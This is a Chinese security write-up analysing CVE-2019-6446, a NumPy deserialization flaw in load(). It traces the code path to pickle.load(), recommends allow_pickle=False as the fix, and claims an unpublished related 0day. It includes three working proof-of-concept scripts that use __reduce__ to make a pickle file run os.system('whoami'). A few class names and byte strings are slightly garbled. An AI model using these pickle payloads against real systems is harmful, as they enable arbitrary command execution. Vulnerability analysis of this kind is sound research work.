1、介绍
NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算。NumPy 提供大量的 函数和操作,能够帮助程序员便利进行数值计算。在 NumPy 1.16.0 版本之前存在反序列化 命令执行漏洞,用户加载恶意的数据源造成命令执行。
2、环境 软件环境如下:
NumPy 1.16.0
Windows10
PyCharm 2018.3.2
3、漏洞分析
先来看漏洞的入口,lib/npyio.py 第 288 行附近。如图所示。
通过 NumPy.lib.npyio.p 之中的load()方法加载序列化文件,通过 file 形参传入文件,由于allow_pickle=True,所以可以采用序列化文件。
再看漏洞触发位置,位置在 lib/npyio.py,第 418 行附近。由于在 windows下可能和其它系统下的行数位置存在差异,所以通过搜索_ZIP_PREFIX 变量就能快速定位到位置。为了方便阅读,我将无关的代码省略。
try:
# Code to distinguish from NumPy binary files and pickles.
_ZIP_PREFIX = b'PKx03x04'
_ZIP_SUFFIX = b'PKx05x06' # empty zip files start with this ……
if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX): ……
elif magic == format.MAGIC_PREFIX: ……
else:
# Try a pickle
if not allow_pickle:
raise ValueError("Cannot load file containing pickled data "
"when allow_pickle=False")
try:
return pickle.load(fid, **pickle_kwargs)
except Exception:
raise IOError(
"Failed to interpret file %s as a pickle" % repr(file))
finally:……
能够看到这个代码是用于区分 NumPy 二进制文件和 pickles。默认格式要求 ZIP 文件前缀 PKx03x04 后缀 PKx05x06,如果不满足默认的格式,则会执行 pickle.load()方法。pickle 模块的作用是把 python 对象转换为字符串表示和字符串重构为对象,称之为封装和拆封或
为序列化和反序列化。通过查看 pickle 图表能够进一步了解模块,模块是由 BaseException、
pickle._Unpickler、pickle._Pickler、pickle._Franmer、pickle._Urfamer 组成,图表如下:
紧接着跟进 pickle.load()方法,相关的方法在 pickle._Urpickler 之中,如图所示:
跟入Lib/pickle.py 第 1060 行,如图所示:
此处为反序列执行的方法,到此为漏洞的执行流程为: NumPy.lib.npyio.pyload()=>pickle.py load()
4、POC
默认情况下 allow_pickle=True,允许通过文件反序列化,POC 如下:
from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system, ('whoami',))
if __name__ == '__main__':
tmpdaa = Test()
npyio.save("test",tmpdaa)
npyio.load("test.npy")或者可以通过 pickles,POC 如下:
from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('whoami',))
tmpdaa = Test()
with open("test-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
npyio.load("test-file.pickle")
测试结果,如图所示:
5、对比分析
这个漏洞让我想起了之前的反序列化问题,POC 通过构建对象、 reduce 魔法函数, 在 numpy.load()执行反序列化,之前漏洞 POC 如下:
import numpy
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('whoami',))
tmpdaa = Test()
with open("test-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
numpy.load('test-file.pickle')
漏洞触发原因:numpy/core/numeric.py第 2280 行,如图所示:
同样执行了反序列化,两者的利用非常相似,都是用的 pickle.load()。
6、防御修复
由于需要 allow_pickle=True,才可以执行反序列化,所以只要将 allow_pickle=False,就可以避免反序列化问题。NumPy 在 1.16.0 之后的版本进行了修复,修复如下:
7、总结
CVE-2019-6446 漏洞给予我新的启发,看待漏洞不能仅看漏洞本身,对于不同的漏洞入口也很重要。个人觉得不同的入口算是新的利用思路披露对于认识漏洞是很有帮助。
8、附上 0Day
截止完稿时,这个漏洞还属于 0day,NumPy.ma.coreload 方法反序列化漏洞,如图所示:
__________________________________________________________声明:本文章来自团队成员vr_system投稿,仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。我们建立了一个以知识共享为主的 免费 知识星球,旨在通过相互交流,促进资源分享和信息安全建设,为以此为生的工作者、即将步入此行业的学生等提供各自之力。为保持知识星球长久发展,所有成员需遵守本星球免费规则,鼓励打赏;同时保持每月分享至少一次资源(安全类型资源不限,但不能存在一切违法违规及损害他人利益行为),避免“伸手党”,即使新人我们也鼓励通过分享心得和笔记取得进步,“僵尸粉”将每月定期清理。